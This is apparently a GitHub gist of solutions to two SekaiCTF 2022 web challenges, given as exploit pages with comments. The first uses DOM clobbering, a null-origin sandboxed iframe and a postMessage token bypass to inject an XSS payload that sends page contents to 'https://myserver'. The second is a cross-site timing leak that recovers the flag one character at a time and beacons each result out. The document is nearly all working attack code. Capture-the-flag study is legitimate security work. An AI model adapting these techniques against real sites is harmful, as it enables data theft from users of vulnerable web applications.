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@terjanq
Last active Oct 2, 2022
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SekaiCTF 2022 solutions
<html>
<body>
<script>
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// create sandboxed domain, open challenge page and force its origin to be null
// null origin makes window.token undefined because of the error when accessing document.cookie
// seems to be based on https://github.com/terjanq/same-origin-xss
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`);
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1);
await sleep(TIMEOUT);
const time = await timeScript();
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>
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